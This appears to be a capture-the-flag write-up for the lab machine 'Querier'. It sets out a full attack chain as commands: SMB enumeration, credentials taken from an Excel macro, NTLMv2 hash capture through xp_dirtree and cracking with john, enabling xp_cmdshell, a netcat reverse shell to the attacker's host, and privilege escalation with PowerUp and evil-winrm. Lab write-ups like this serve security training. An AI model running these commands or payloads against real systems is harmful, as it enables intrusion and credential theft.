Querier

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.125 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 10.10.10.125 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
Let's start by enumerating the SMB service. As we can see there is one share called Reports in which we have read privileges.
smbmap -H 10.10.10.125 -u 'guest'
Let's connect to it.
smbclient //10.10.10.125/Reports -N
There is one file called Currency Volume Report.xlsm. Download it to our local machine.
smb: > get "Currency Volume Report.xlsm"
Exploitation
If we try to open it with libreoffice, we'll see a popup message saying that the file has macros.
libreoffice Currency\ Volume\ Report.xlsm

If we check the macros of the file, we'll see that it is trying to make a connection to a MSSQL database with some credentials.
olevba Currency\ Volume\ Report.xlsm
Let's verify these credentials with crackmapexec.
crackmapexec smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6'
It seems that the credentials are not valid. But if we try to verify them by setting the WORKGROUP domain, we'll see that they are valid.
crackmapexec smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6' -d WORKGROUP
It is also possible to log in to the MSSQL service using these credentials.
impacket-mssqlclient -windows-auth WORKGROUP/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125
-windows-authuse windows authentication.
When we have access to a MSSQL database, the idea is to be able to run the xp_cmdshell command to run commands on the system. The problem is that we don't have the privileges to enable it with our current user.
xp_cmdshell whoami
For now, we can't use this utility. We could try to load a non-existent file from our SMB server with a command from the MSSQL server, so when it authenticates in our SMB server, we'll get the server's NTLMv2 hash. Set up a simple SMB server on our local system.
impacket-smbserver smbFolder $(pwd) -smb2support
Now, connect to the SMB server from the MSSQL server, and we'll get the NTLMv2 hash of the mssql-svc user.
xp_dirtree "\\10.10.14.5\smbFolder"
Copy and paste the hash into the hash file, and break it with john.
john -w=/usr/share/wordlists/rockyou.txt hash
Verify that the credentials are correct.
crackmapexec smb 10.10.10.125 -u 'mssql-svc' -p 'corporate568' -d WORKGROUP
Connect to the MSSQL server with the new credentials.
impacket-mssqlclient -windows-auth WORKGROUP/mssql-svc:'corporate568'@10.10.10.125
Now we could enable the xp_cmdshell utility, and we would be able to run commands on the system.
sp_configure 'show advanced options', '1'
RECONFIGURE
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
xp_cmdshell whoami
Time to get a shell. Set a netcat listener on port 4444 with rlwrap.
rlwrap nc -lvnp 4444
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
Now, set a SMB server where the nc.exe binary is located.
impacket-smbserver smbFolder $(pwd) -smb2support
Finally, send a reverse shell to the netcat listener on port 4444 with xp_cmdshell. Then, we'll be able to grab the user flag.
xp_cmdshell "\10.10.14.5\smbFolder\nc.exe -e cmd 10.10.14.5 4444"
Privilege Escalation
Let's create a directory called privEsc in C:\Windows\Temp and go there.
cd \windows\temp
mkdir privEsc
cd privEsc
Now, let's upload the PowerUp.ps1 script to the system to enumerate it and see if there is a way to escalate privileges. Set the SMB server where the PowerShell script is located.
impacket-smbserver smbFolder $(pwd) -smb2support
And copy it to the privEsc folder.
copy \\10.10.14.5\smbFolder\PowerUp.ps1
Launch the script from a PowerShell console.
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
The script found a password for the administrator user. As we now have credentials, we can get a shell as the administrator. Then, all we have to do is reap the harvest and take the root flag.
evil-winrm -i 10.10.10.125 -u 'administrator' -p 'MyUnclesAreMarioAndLuigi!!1!'
Last updated
Was this helpful?